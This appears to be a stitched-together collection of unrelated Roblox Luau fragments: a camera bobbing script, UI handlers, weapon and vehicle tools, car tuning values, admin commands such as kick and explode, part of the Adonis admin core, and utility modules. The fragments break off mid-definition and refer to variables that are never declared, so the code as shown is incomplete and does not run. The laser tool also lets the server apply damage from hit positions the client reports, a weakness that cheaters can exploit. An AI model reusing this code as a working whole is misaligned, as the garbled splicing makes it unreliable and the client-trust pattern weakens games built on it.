local module = {} module.Products = { { ProductPrice = 5, --The price from the Developer Product. ProductId = 1234585054 -- The ID from the Developer Product. }, { ProductPrice = 10, --The price from the Developer Product. ProductId = 1234585087 -- The ID from the Developer Product. }, { ProductPrice = 50, --The price from the Developer Product. ProductId = 1234585114 -- The ID from the Developer Product. }, { ProductPrice = 100, --The price from the Developer Product. ProductId = 1234585216 -- The ID from the Developer Product. }, }
-- << Functions >> --
UserInputService.MouseIconEnabled = false function lerp(a, b, c) return a + (b - a) * c end bobbing = game:GetService("RunService").RenderStepped:Connect(function(deltaTime) deltaTime = deltaTime * 60 if Humanoid.Health <= 0 then bobbing:Disconnect() return end local rootMagnitude = Humanoid.RootPart and Vector3.new(Humanoid.RootPart.Velocity.X, 0, Humanoid.RootPart.Velocity.Z).Magnitude or 0 local calcRootMagnitude = math.min(rootMagnitude, 50) if deltaTime > 3 then func1 = 0 func2 = 0 else func1 = lerp(func1, math.cos(tick() * 0.5 * math.random(10, 15)) * (math.random(5, 20) / 200) * deltaTime, 0.05 * deltaTime) func2 = lerp(func2, math.cos(tick() * 0.5 * math.random(5, 10)) * (math.random(2, 10) / 200) * deltaTime, 0.05 * deltaTime) end Camera.CFrame = Camera.CFrame * (CFrame.fromEulerAnglesXYZ(0, 0, math.rad(func3)) * CFrame.fromEulerAnglesXYZ(math.rad(func4 * deltaTime), math.rad(val * deltaTime), val2) * CFrame.Angles(0, 0, math.rad(func4 * deltaTime * (calcRootMagnitude / 5))) * CFrame.fromEulerAnglesXYZ(math.rad(func1), math.rad(func2), math.rad(func2 * 10))) val2 = math.clamp(lerp(val2, -Camera.CFrame:VectorToObjectSpace((Humanoid.RootPart and Humanoid.RootPart.Velocity or Vector3.new()) / math.max(Humanoid.WalkSpeed, 0.01)).X * 0.08, 0.1 * deltaTime), -0.35, 0.2) func3 = lerp(func3, math.clamp(UserInputService:GetMouseDelta().X, -5, 5), 0.25 * deltaTime) func4 = lerp(func4, math.sin(tick() * int) / 5 * math.min(1, int2 / 10), 0.25 * deltaTime) if rootMagnitude > 1 then val = lerp(val, math.cos(tick() * 0.5 * math.floor(int)) * (int / 200), 0.25 * deltaTime) else val = lerp(val, 0, 0.05 * deltaTime) end if rootMagnitude > 12 then int = 20 int2 = 18 elseif rootMagnitude > 0.1 then int = 12 int2 = 14 else int2 = 0 end Player.CameraMaxZoomDistance = 0.5 Player.CameraMinZoomDistance = 0.5 vect3 = lerp(vect3, Camera.CFrame.LookVector, 0.125 * deltaTime) end)
-- UI elements
local intro = script.Parent:WaitForChild("Intro") intro.Visible = true wait(2) game.Workspace.Camera.CameraType = Enum.CameraType.Scriptable game.Workspace.Camera.CFrame = CFrame.new(game.Workspace.IntroTunnel.CameraOrigin.Position,game.Workspace.IntroTunnel.CameraFace.Position) local topStatus = script.Parent:WaitForChild("TopStatus") topStatus.Text = status.Value status:GetPropertyChangedSignal("Value"):Connect(function() topStatus.Text = status.Value end) intro.Play.MouseButton1Click:Connect(function() if game.ReplicatedStorage.MapVoting.Value == true then script.Parent.MapVoting.Visible = true end intro.Visible = false topStatus.Visible = true game.ReplicatedStorage.MenuPlay:FireServer() game.Workspace.Camera.CameraType = Enum.CameraType.Custom end) game.ReplicatedStorage.KillFeed.OnClientEvent:Connect(function(text) script.Parent.KillFeed.Visible = true script.Parent.KillFeed.Text = text wait(2) script.Parent.KillFeed.Visible = false end) game.ReplicatedStorage.Announcement.OnClientEvent:Connect(function(text) script.Parent.Announcement.Text = text script.Parent.Announcement.Visible = true wait(5) script.Parent.Announcement.Visible = false end)
----------------- --| Functions |-- -----------------
local function OnActivated() local myModel = MyPlayer.Character if Tool.Enabled and myModel and myModel:FindFirstChild('Humanoid') and myModel.Humanoid.Health > 0 then Tool.Enabled = false -- Create a clone of Rocket and set its color local rocketClone = Rocket:Clone() DebrisService:AddItem(rocketClone, 30) rocketClone.BrickColor = MyPlayer.TeamColor -- Position the rocket clone and launch! local spawnPosition = (ToolHandle.CFrame * CFrame.new(2, 0, 0)).p rocketClone.CFrame = CFrame.new(spawnPosition, myModel.Humanoid.TargetPoint) --NOTE: This must be done before assigning Parent rocketClone.Velocity = rocketClone.CFrame.lookVector * ROCKET_SPEED --NOTE: This should be done before assigning Parent rocketClone.Parent = Workspace wait(RELOAD_TIME) Tool.Enabled = true end end
--Gear Ratios
Tune.FinalDrive = 2.78 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 2.34 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2.04 , --[[ 3 ]] 1.38 , --[[ 4 ]] 1.03 , --[[ 5 ]] 0.81 , --[[ 6 ]] 0.64 , --[[ 7 ]] 0.48 , } Tune.FDMult = 1 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
-- Get references to the DockShelf and its children
local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf local aFinderButton = dockShelf.FTerminal local Minimalise = script.Parent local window = script.Parent.Parent.Parent
-- FUNCTIONS --
CS:GetInstanceAddedSignal("OnFire"):Connect(function(Character) local Humanoid = Character:WaitForChild("Humanoid") Replicate:FireAllClients("Burn", Character, true) coroutine.wrap(function() repeat Humanoid:TakeDamage(math.random(4, 12)) task.wait(1) until not CS:HasTag(Character, "OnFire") end)() end) CS:GetInstanceRemovedSignal("OnFire"):Connect(function(Character) Replicate:FireAllClients("Burn", Character, false) end)
--// Core
return function(Vargs, GetEnv) local env = GetEnv(nil, {script = script}) setfenv(1, env) local _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay = _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay local script = script local service = Vargs.Service local client = Vargs.Client local Anti, Core, Functions, Process, Remote, UI, Variables local function Init() UI = client.UI; Anti = client.Anti; Core = client.Core; Variables = client.Variables Functions = client.Functions; Process = client.Process; Remote = client.Remote; Core.Name = "\0" Core.Special = client.DepsName Core.MakeGui = UI.Make; Core.GetGui = UI.Get; Core.RemoveGui = UI.Remove; Core.Init = nil; end local function RunAfterPlugins(data) Core.GetEvent() Core.RunAfterPlugins = nil; end local function RunLast() --// API if service.NetworkClient then service.TrackTask("Thread: API Manager", Core.StartAPI) --service.Threads.RunTask("_G API Manager",client.Core.StartAPI) end --[[client = service.ReadOnly(client, { [client.Variables] = true; [client.Handlers] = true; G_API = true; G_Access = true; G_Access_Key = true; G_Access_Perms = true; Allowed_API_Calls = true; HelpButtonImage = true; Finish_Loading = true; RemoteEvent = true; ScriptCache = true; Returns = true; PendingReturns = true; EncodeCache = true; DecodeCache = true; Received = true; Sent = true; Service = true; Holder = true; GUIs = true; LastUpdate = true; RateLimits = true; Init = true; RunLast = true; RunAfterInit = true; RunAfterLoaded = true; RunAfterPlugins = true; }, true)--]] Core.RunLast = nil end getfenv().client = nil getfenv().service = nil getfenv().script = nil client.Core = { Init = Init; RunLast = RunLast; --RunAfterLoaded = RunAfterLoaded; RunAfterPlugins = RunAfterPlugins; Name = script.Name; Special = script.Name; ScriptCache = {}; GetEvent = function() if Core.RemoteEvent then log("Disconnect old RemoteEvent") for name,event in Core.RemoteEvent.Events do event:Disconnect() end Core.RemoteEvent = nil; end log("Getting RemoteEvent"); local eventData = {} local remoteParent = service.ReplicatedStorage; local event = remoteParent:WaitForChild(client.RemoteName, 300) if not event then Anti.Detected("Kick", "RemoteEvent Not Found"); else log("Getting RemoteFunction"); local rFunc = event:WaitForChild("__FUNCTION", 120); if not rFunc then Anti.Detected("Kick", "RemoteFunction Not Found"); else local events = {}; rFunc.OnClientInvoke = Process.Remote; eventData.Object = event; eventData.Function = rFunc; eventData.FireServer = event.FireServer; eventData.Events = events; events.ProcessRemote = event.OnClientEvent:Connect(Process.Remote) events.ParentChildRemoved = remoteParent.ChildRemoved:Connect(function(child) if (Core.RemoteEvent == eventData) and child == event and task.wait() then warn("::ADONIS:: REMOTE EVENT REMOVED? RE-GRABBING"); log("~! REMOTEEVENT WAS REMOVED?") Core.GetEvent(); end end) Core.RemoteEvent = eventData if not Core.Key then log("~! Getting key from server") Remote.Fire(`{client.DepsName}GET_KEY`) end end end end; LoadPlugin = function(plugin) local plug = require(plugin) local func = setfenv(plug,GetEnv(getfenv(plug))) cPcall(func) end; LoadBytecode = function(str, env) return require(client.Shared.FiOne)(str, env) end; LoadCode = function(str, env) return Core.LoadBytecode(str, env) end; StartAPI = function() local ScriptCache = Core.ScriptCache local FiOne = client.Shared.FiOne local Get = Remote.Get local GetFire = Remote.GetFire local G_API = client.G_API local Allowed_API_Calls = client.Allowed_API_Calls local NewProxy = service.NewProxy local MetaFunc = service.MetaFunc local ReadOnly = service.ReadOnly local StartLoop = service.StartLoop local ReadOnly = service.ReadOnly local UnWrap = service.UnWrap local service = nil local client = nil local _G = _G local setmetatable = setmetatable local type = type local print = print local error = error local pairs = pairs local warn = warn local next = next local table = table local rawset = rawset local rawget = rawget local getfenv = getfenv local setfenv = setfenv local require = require local tostring = tostring local client = client local Routine = Routine local cPcall = cPcall --// Get Settings local API_Special = { } setfenv(1,setmetatable({}, {__metatable = getmetatable(getfenv())})) local API_Specific = { API_Specific = { Test = function() print("We ran the api specific stuff") end }; Service = service; } local API = { Access = ReadOnly({}, nil, nil, true); --[[ Access = service.MetaFunc(function(...) local args = {...} local key = args[1] local ind = args[2] local targ setfenv(1,setmetatable({}, {__metatable = getmetatable(getfenv())})) if API_Specific[ind] then targ = API_Specific[ind] elseif client[ind] and client.Allowed_API_Calls[ind] then targ = client[ind] end if client.G_Access and key == client.G_Access_Key and targ and client.Allowed_API_Calls[ind] then if type(targ) == "table" then return service.NewProxy { __index = function(tab,inde) if targ[inde] ~= nil and API_Special[inde] == nil or API_Special[inde] == true then if targ[inde]~=nil and type(targ[inde]) == "table" and client.G_Access_Perms == "Read" then return service.ReadOnly(targ[inde]) else return targ[inde] end elseif API_Special[inde] == false then error(`Access Denied: {inde}`) else error(`Could not find {inde}`) end end; __newindex = function(tabl,inde,valu) error("Read-only") end; __metatable = true; } end else error("Incorrect key or G_Access is disabled") end end); --]] Scripts = ReadOnly({ ExecutePermission = (function(srcScript, code) local exists; for i,v in ScriptCache do if UnWrap(v.Script) == srcScript then exists = v end end if exists and exists.noCache ~= true and (not exists.runLimit or (exists.runLimit and exists.Executions <= exists.runLimit)) then exists.Executions = exists.Executions+1 return exists.Source, exists.Loadstring end local data = Get("ExecutePermission", srcScript, code, true) if data and data.Source then local module; if not exists then module = require(FiOne:Clone()) table.insert(ScriptCache,{ Script = srcScript; Source = data.Source; Loadstring = module; noCache = data.noCache; runLimit = data.runLimit; Executions = data.Executions; }) else module = exists.Loadstring exists.Source = data.Source end return data.Source, module end end); }, nil, nil, true); } local AdonisGTable = NewProxy({ __index = function(tab,ind) if ind == "Scripts" then return API.Scripts elseif G_API and Allowed_API_Calls.Client == true then if type(API[ind]) == "function" then return MetaFunc(API[ind]) else return API[ind] end else error("_G API is disabled") end end; __newindex = function() error("Read-only") end; __metatable = "API"; }) if not rawget(_G, "Adonis") then if table.isfrozen and not table.isfrozen(_G) or not table.isfrozen then rawset(_G, "Adonis", AdonisGTable) StartLoop("APICheck", 1, function() if rawget(_G, "Adonis") ~= AdonisGTable then if table.isfrozen and not table.isfrozen(_G) or not table.isfrozen then rawset(_G, "Adonis", AdonisGTable) else warn("ADONIS CRITICAL WARNING! MALICIOUS CODE IS TRYING TO CHANGE THE ADONIS _G API AND IT CAN'T BE SET BACK! PLEASE SHUTDOWN THE SERVER AND REMOVE THE MALICIOUS CODE IF POSSIBLE!") end end end, true) else warn("The _G table was locked and the Adonis _G API could not be loaded") end end end; }; end
----Handle the enabling and disabling of the default roblox jump button----
local function getLocalHumanoid() if LocalPlayer.Character then return LocalPlayer.Character:FindFirstChildOfClass("Humanoid") end end local oldHumanoidJumpPower = 50 local jumpDisabled = false local function enableJumpButton() local humanoid = getLocalHumanoid() if jumpDisabled and humanoid then humanoid.JumpPower = oldHumanoidJumpPower jumpDisabled = false end end local function disableJumpButton() local humanoid = getLocalHumanoid() if humanoid then oldHumanoidJumpPower = humanoid.JumpPower humanoid.JumpPower = 0 jumpDisabled = true end end function VehicleGui:Enable() self.gui.Enabled = true self:EnableKeyboardUI() self:ConfigureButtons() local function UpdateInputType(inputType) if inputType == Enum.UserInputType.Touch then self:EnableTouchUI() self:ConfigureButtons() elseif inputType.Value >= Enum.UserInputType.Gamepad1.Value and inputType.Value <= Enum.UserInputType.Gamepad8.Value then self:EnableGamepadUI() self:ConfigureButtons() elseif inputType == Enum.UserInputType.Keyboard then self:EnableKeyboardUI() self:ConfigureButtons() end end self.connections[#self.connections + 1] = UserInputService.LastInputTypeChanged:Connect(UpdateInputType) UpdateInputType(UserInputService:GetLastInputType()) --Destroy when player gets out of vehicle function self.OnExit(Seat) self:Destroy() end self.localSeatModule.OnSeatExitEvent(self.OnExit) --Destroy if the gui has been destroyed self.connections[#self.connections + 1] = self.gui.AncestryChanged:Connect(function() if not self.gui:IsDescendantOf(game) then self:Destroy() end end) --Destroy if vehicle is no longer in workspace self.connections[#self.connections + 1] = self.chassis.AncestryChanged:Connect(function() if not self.chassis:IsDescendantOf(Workspace) then self:Destroy() end end) --Connect the exit seat button self.connections[#self.connections + 1] = self.exitButton.Activated:Connect(function() enableJumpButton() self:Destroy() self.localSeatModule.ExitSeat() end) self.connections[#self.connections + 1] = self.exitButton.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.Touch then self.exitButton.ImageTransparency = 1 self.exitButton.Pressed.ImageTransparency = 0 end end) self.connections[#self.connections + 1] = self.exitButton.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.Touch then self.exitButton.ImageTransparency = 0 self.exitButton.Pressed.ImageTransparency = 1 end end) self.connections[#self.connections + 1] = RunService.RenderStepped:Connect(function() --Update the speedo local vel = self.seat.Velocity local mphConversion = 0.6263 -- using a 28cm = 1stud conversion rate local speed = vel.Magnitude*mphConversion local speedFraction = math.min(speed/MAX_SPEED, 1) local onSize = math.floor(self.speedoFrame.AbsoluteSize.X * speedFraction + 0.5) self.speedoFrameOn.Size = UDim2.new(0, onSize, 1, 0) self.speedText.Text = tostring(math.floor(speed + 0.5)) --Update the steering input if touch controls are enabled if self.touchEnabled then self.steeringInput = -PlayerControlModule:GetMoveVector().X end end) end function VehicleGui:Destroy() self.localSeatModule.DisconnectFromSeatExitEvent(self.OnExit) for _, connection in ipairs(self.connections) do connection:Disconnect() end if self.gui then self.gui:Destroy() end enableJumpButton() end function VehicleGui:ConfigureButtons() --Position Accelerate Button self.accelButton.Image = "rbxassetid://2847847852" self.accelButton.Pressed.Image = "rbxassetid://2847847961" self.accelButton.Size = UDim2.new(0, 70, 0, 70) self.accelButton.AnchorPoint = Vector2.new(1, 1) self.accelButton.Position = UDim2.new(1, -24, 1, -20) --Position Brake Button self.brakeButton.Size = UDim2.new(0, 44, 0, 44) self.brakeButton.AnchorPoint = Vector2.new(1, 1) self.brakeButton.Position = UDim2.new(1, -(24 + self.accelButton.Size.X.Offset + 20), 1, -20) self.brakeButton.Image = "rbxassetid://2847848304" self.brakeButton.Pressed.Image = "rbxassetid://2847848400" --Position Exit Button self.exitButton.Image = "rbxassetid://2847857948" self.exitButton.Pressed.Image = "rbxassetid://2847858038" self.exitButton.KeyImage.ImageRectSize = Vector2.new(0, 0) self.exitButton.KeyImage.ImageRectOffset = Vector2.new(0, 0) self.exitButton.KeyImage.ButtonText.Visible = false local inputType = UserInputService:GetLastInputType() if inputType == Enum.UserInputType.Touch then self.exitButton.Size = UDim2.new(0, 44, 0, 44) self.exitButton.AnchorPoint = Vector2.new(1, 1) self.exitButton.Position = UDim2.new(1, -24, 1, -(20 + self.accelButton.Size.Y.Offset + 20)) self.exitButton.KeyImage.Image = "" else self.exitButton.Size = UDim2.new(0, 72, 0, 72) self.exitButton.AnchorPoint = Vector2.new(1, 1) self.exitButton.Position = UDim2.new(1, -24, 1, -(20 + self.accelButton.Size.Y.Offset + 20)) if inputType.Value >= Enum.UserInputType.Gamepad1.Value and inputType.Value <= Enum.UserInputType.Gamepad8.Value then --Set the correct image for the gamepad button prompt local template = InputImageLibrary:GetImageLabel(Keymap.EnterVehicleGamepad, "Light") self.exitButton.KeyImage.Image = template.Image self.exitButton.KeyImage.ImageRectOffset = template.ImageRectOffset self.exitButton.KeyImage.ImageRectSize = template.ImageRectSize else self.exitButton.KeyImage.Image = "rbxassetid://2935912536" self.exitButton.KeyImage.ButtonText.Visible = true self.exitButton.KeyImage.ButtonText.Text = Keymap.EnterVehicleKeyboard.Name end end end
--[[ Commands: /kick /explode /trip /visible /invisible ]]
admin.kick = { ["Command"] = "Kick", ["Place"] = 1, ["Function"] = function(arguments) local players = {} for i, playerName in pairs(arguments) do local player = findPlayer(playerName) if player then disconnect(player) end end end } admin.explode = { ["Command"] = "Explode", ["Place"] = 2, ["Function"] = function(arguments) for i, playerName in pairs(arguments) do local player = findPlayer(playerName) if player then explode(player) end end end } admin.trip = { ["Command"] = "Trip", ["Place"] = 3, ["Function"] = function(arguments) for i, playerName in pairs(arguments) do local player = findPlayer(playerName) if player then local humanoid = player.Character:FindFirstChild("Humanoid") if not humanoid then return end humanoid.PlatformStand = true task.wait(1.5) humanoid.PlatformStand = false end end end } admin.visible = { ["Command"] = "Visible", ["Place"] = 4, ["Function"] = function(arguments) for i, playerName in pairs(arguments) do local player = findPlayer(playerName) if player then local character = player.Character or player.CharacterAdded:Wait() for i, v in pairs(character:GetDescendants()) do if v:IsA("Part") or v:IsA("BasePart") or v:IsA("MeshPart") then v.Transparency = 0 end end character.HumanoidRootPart.Transparency = 1 character.HitBox.Transparency = 1 end end end } admin.invisible = { ["Command"] = "Invisible", ["Place"] = 5, ["Function"] = function(arguments) for i, playerName in pairs(arguments) do local player = findPlayer(playerName) if player then local character = player.Character or player.CharacterAdded:Wait() for i, v in pairs(character:GetDescendants()) do if v:IsA("Part") or v:IsA("BasePart") then v.Transparency = 1 end end character.HumanoidRootPart.Transparency = 1 character.HitBox.Transparency = 1 end end end } return admin
-- enter numbers you think are correct. the percentages will be automatically calculated
dropRates.Carpenter = 1 dropRates.DoublePoints = 1 dropRates.Instakill = 1 dropRates.MaxAmmo = 1 dropRates.Nuke = 1 return dropRates
-- Determine whether we're in tool or plugin mode
ToolMode = (Tool.Parent:IsA 'Plugin') and 'Plugin' or 'Tool' local IsHttpServiceEnabled = nil
--// WIP
local function LoadPackage(package, folder, runNow) --// runNow - Run immediately after unpacking (default behavior is to just unpack (((only needed if loading after startup)))) --// runNow currently not used (limitations) so all packages must be present at server startup local function unpackFolder(curFolder, unpackInto) if unpackInto then for _, obj in ipairs(curFolder:GetChildren()) do local clone = obj:Clone() if obj:IsA("Folder") then local realFolder = unpackInto:FindFirstChild(obj.Name) if not realFolder then clone.Parent = unpackInto else unpackFolder(obj, realFolder) end else clone.Parent = unpackInto end end else warn("Missing parent to unpack into for ".. tostring(curFolder)) end end unpackFolder(package, folder) end; local function CleanUp() --local env = getfenv(2) --local ran,ret = pcall(function() return env.script:GetFullName() end) warn("Beginning Adonis cleanup & shutdown process...") --warn("CleanUp called from "..tostring((ran and ret) or "Unknown")) --local loader = server.Core.ClientLoader server.Model.Name = "Adonis_Loader" server.Model.Parent = service.ServerScriptService server.Running = false pcall(service.Threads.StopAll) pcall(function() for i, v in pairs(RbxEvents) do print("Disconnecting event") v:Disconnect() table.remove(RbxEvents, i) end end) --loader.Archivable = false --loader.Disabled = true --loader:Destroy() if server.Core and server.Core.RemoteEvent then pcall(server.Core.DisconnectEvent) end --[[delay(0, function() for i,v in next,server do server[i] = nil; --// Try to break it to prevent any potential hanging issues; Not very graceful... end --end)--]] warn("Unloading complete") end; server = { Running = true; Modules = {}; Pcall = Pcall; cPcall = cPcall; Routine = Routine; LogError = logError; ErrorLogs = ErrorLogs; ServerStartTime = os.time(); CommandCache = {}; }; locals = { server = server; CodeName = ""; Settings = server.Settings; HookedEvents = HookedEvents; ErrorLogs = ErrorLogs; logError = logError; origEnv = origEnv; Routine = Routine; Folder = Folder; GetEnv = GetEnv; cPcall = cPcall; Pcall = Pcall; }; service = require(Folder.Shared.Service)(function(eType, msg, desc, ...) local extra = {...} if eType == "MethodError" then if server and server.Logs and server.Logs.AddLog then server.Logs.AddLog("Script", { Text = "Cached method doesn't match found method: "..tostring(extra[1]); Desc = "Method: "..tostring(extra[1]) }) end elseif eType == "ServerError" then --print("Server error") logError("Server", msg) elseif eType == "TaskError" then --print("Task error") logError("Task", msg) end end, function(c, parent, tab) if not isModule(c) and c ~= server.Loader and c ~= server.Dropper and c ~= server.Runner and c ~= server.Model and c ~= script and c ~= Folder and parent == nil then tab.UnHook() end end, ServiceSpecific, GetEnv(nil, {server = server}))
---------------------------------- ------------FUNCTIONS------------- ----------------------------------
function Jump() local character = Player.Character if character then local humanoid = character:FindFirstChild("Humanoid") if humanoid then humanoid.Jump = true end end end function HumanoidChanged(humanoid, property) --print(property) if property == "Jump" then humanoid.Jump = false elseif property == "Sit" then humanoid.Sit = true elseif property == "Parent" then Deactivate() Abort() end end function HumanoidDied() Deactivate() end function SetCamera(cframe) Camera.CameraType = Enum.CameraType.Scriptable Camera:Interpolate(cframe, cframe + cframe.lookVector, .5) --Camera.CoordinateFrame = cframe end function ReturnCamera() Camera.CameraType = Enum.CameraType.Custom end
--[[ game.ReplicatedStorage.ToggleSleeping.OnServerEvent:Connect(function() workspace.Ignore.Zombies.Snowfella.RootPart:SetAttribute("Sleeping", not workspace.Ignore.Zombies.Snowfella.RootPart:GetAttribute("Sleeping")) end) ]]
game.Players.PlayerAdded:Connect(function(ply) ply:WaitForChild("InGame").Value = true --[[ ply.CharacterAdded:Connect(function() ply:WaitForChild("InGame").Value = true end) ]] end)
--local GROUP_ID = replace with wanted group ID(s), separate with comma --local GROUP_RANK = replace with wanted group rank(s), e.g. 255, separate wtih comma
return function (registry) registry:RegisterHook("BeforeRun", function(context) if context.Group == "DefaultAdmin" and context.Executor.UserId ~= game.CreatorId then return "You don't have permission to run this command" end --if context.Group == "DefaultAdmin" and not (context.Executor:GetRankInGroup(GROUP_ID) == GROUP_RANK) then --return "You don't have permission to run this command" --end --remove --s here to enable for group usage registry:RegisterHook("AfterRun", function(context) print(context.Response) -- see the actual response from the command execution return "Command has been run." end) end) end
--Returns whether the given position is under cover
local function UnderObject(pos, l) l = l or 120 local hit, position = Workspace:FindPartOnRayWithIgnoreList(Ray.new(pos, UpVec * l), ignoreList) if hit then return hit.Transparency ~= 1 and true or UnderObject(position + UpVec, l - (pos - position).Magnitude) else return false end end
--[=[ @param object any -- Object to remove Removes the object from the Trove and cleans it up. ```lua local part = Instance.new("Part") trove:Add(part) trove:Remove(part) ``` ]=]
function Trove:Remove(object: any): boolean local objects = self._objects for i,obj in ipairs(objects) do if obj[1] == object then local n = #objects objects[i] = objects[n] objects[n] = nil self:_cleanupObject(obj[1], obj[2]) return true end end return false end
--[=[ Constructs a new symbol @param id any -- Identifier for the symbol (usually a string) @param scope Symbol? -- Optional symbol scope @return boolean -- Returns `true` if the `obj` parameter is a Symbol ]=]
function Symbol.new(id: any, scope: any) assert(id ~= nil, "Symbol ID cannot be nil") if scope ~= nil then assert(Symbol.Is(scope), "Scope must be a Symbol or nil") end local self = setmetatable({ ClassName = CLASSNAME; _id = id; _scope = scope; }, Symbol) return self end
-- Smart Circle mode needs the intersection of 2 rays that are known to be in the same plane -- because they are generated from cross products with a common vector. This function is computing -- that intersection, but it's actually the general solution for the point halfway between where -- two skew lines come nearest to each other, which is more forgiving.
local function RayIntersection(p0: Vector3, v0: Vector3, p1: Vector3, v1: Vector3): Vector3 local v2 = v0:Cross(v1) local d1 = p1.X - p0.X local d2 = p1.Y - p0.Y local d3 = p1.Z - p0.Z local denom = Det3x3(v0.X,-v1.X,v2.X,v0.Y,-v1.Y,v2.Y,v0.Z,-v1.Z,v2.Z) if (denom == 0) then return ZERO_VECTOR3 -- No solution (rays are parallel) end local t0 = Det3x3(d1,-v1.X,v2.X,d2,-v1.Y,v2.Y,d3,-v1.Z,v2.Z) / denom local t1 = Det3x3(v0.X,d1,v2.X,v0.Y,d2,v2.Y,v0.Z,d3,v2.Z) / denom local s0 = p0 + t0 * v0 local s1 = p1 + t1 * v1 local s = s0 + 0.5 * ( s1 - s0 ) -- 0.25 studs is a threshold for deciding if the rays are -- close enough to be considered intersecting, found through testing if (s1-s0).Magnitude < 0.25 then return s else return ZERO_VECTOR3 end end
--BaseRay.Transparency = 1
BaseRayMesh = Instance.new("SpecialMesh") BaseRayMesh.Name = "Mesh" BaseRayMesh.MeshType = Enum.MeshType.Brick BaseRayMesh.Scale = Vector3.new(0.2, 0.2, 1) BaseRayMesh.Offset = Vector3.new(0, 0, 0) BaseRayMesh.VertexColor = Vector3.new(1, 1, 1) BaseRayMesh.Parent = BaseRay ServerControl = (Remotes:FindFirstChild("ServerControl") or Instance.new("RemoteFunction")) ServerControl.Name = "ServerControl" ServerControl.Parent = Remotes ClientControl = (Remotes:FindFirstChild("ClientControl") or Instance.new("RemoteFunction")) ClientControl.Name = "ClientControl" ClientControl.Parent = Remotes Light.Enabled = false Tool.Enabled = true function RayTouched(Hit, Position) if Configuration.DestroyParts.Value then Hit:Destroy() end if Configuration.SuperPartDestruction.Value then Hit.Archivable = false Hit:Destroy() end if not Hit or not Hit.Parent then return end local character = Hit.Parent if character:IsA("Hat") then character = character.Parent end if character == Character then return end local humanoid = character:FindFirstChildOfClass('Humanoid') if not humanoid or humanoid.Health == 0 then return end local player = Players:GetPlayerFromCharacter(character) if player and Functions.IsTeamMate(Player, player) then return end local DeterminedDamage = math.random(Configuration.Damage.MinValue, Configuration.Damage.MaxValue) Functions.UntagHumanoid(humanoid) Functions.TagHumanoid(humanoid, Player) if Configuration.InstantKill.Value then humanoid.Health = 0 end if Configuration.IgnoreForceField.Value then if Hit.Name == 'Head' then humanoid.Health = humanoid.Health - math.random(Configuration.Damage.MinValue, Configuration.Damage.MaxValue) * Configuration.HeadShotMultiplier.Value Sounds.HeadShot:Play() else humanoid.Health = humanoid.Health - math.random(Configuration.Damage.MinValue, Configuration.Damage.MaxValue) end else if Hit.Name == 'Head' then humanoid:TakeDamage(DeterminedDamage * Configuration.HeadShotMultiplier.Value) humanoid.WalkSpeed = humanoid.WalkSpeed / 4 local drainscript = script.Parent.Drain:Clone() drainscript.Parent = humanoid.Parent drainscript.Disabled = false Sounds.HeadShot:Play() else humanoid:TakeDamage(DeterminedDamage) humanoid.WalkSpeed = humanoid.WalkSpeed / 2 end end end function CheckIfAlive() return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false) end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") if not CheckIfAlive() then return end ToolEquipped = true end function Unequipped() ToolEquipped = false end function InvokeClient(Mode, Value) local ClientReturn = nil pcall(function() ClientReturn = ClientControl:InvokeClient(Player, Mode, Value) end) return ClientReturn end ServerControl.OnServerInvoke = (function(player, Mode, Value) if player ~= Player or not ToolEquipped or not CheckIfAlive() or not Mode or not Value then return end if Mode == "Fire" then Sounds.Fire:Play() FX:Emit(3) if Configuration.AddRecoil.Value then if Recoil.Disabled then Recoil.Disabled = false delay(0.01, function() Recoil.Disabled = true end) end end elseif Mode == "RayHit" then local RayHit = Value.Hit local RayPosition = Value.Position if RayHit and RayPosition then RayTouched(RayHit, RayPosition) end elseif Mode == "CastLaser" then local StartPosition = Value.StartPosition local TargetPosition = Value.TargetPosition local RayHit = Value.RayHit if not StartPosition or not TargetPosition or not RayHit then return end for i, v in pairs(Players:GetPlayers()) do if v:IsA("Player") and v ~= Player then local Backpack = v:FindFirstChild("Backpack") if Backpack then local LaserScript = CastLaser:Clone() local StartPos = Instance.new("Vector3Value") StartPos.Name = "StartPosition" StartPos.Value = StartPosition StartPos.Parent = LaserScript local TargetPos = Instance.new("Vector3Value") TargetPos.Name = "TargetPosition" TargetPos.Value = TargetPosition TargetPos.Parent = LaserScript local RayHit = Instance.new("BoolValue") RayHit.Name = "RayHit" RayHit.Value = RayHit RayHit.Parent = LaserScript LaserScript.Disabled = false Debris:AddItem(LaserScript, 1.5) LaserScript.Parent = Backpack end end end end end) Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
--//Controller//--
Trigger.Triggered:Connect(function(Player) SpawnEvent:FireClient(Player, SpawnPoint) end)
--[=[ Throttles the update to the end of the defer lane. Can help optimize scenarios when Compute() can trigger multiple times per a frame. Generally not needed. @param observable Observable<T> @return Observable<T> ]=]
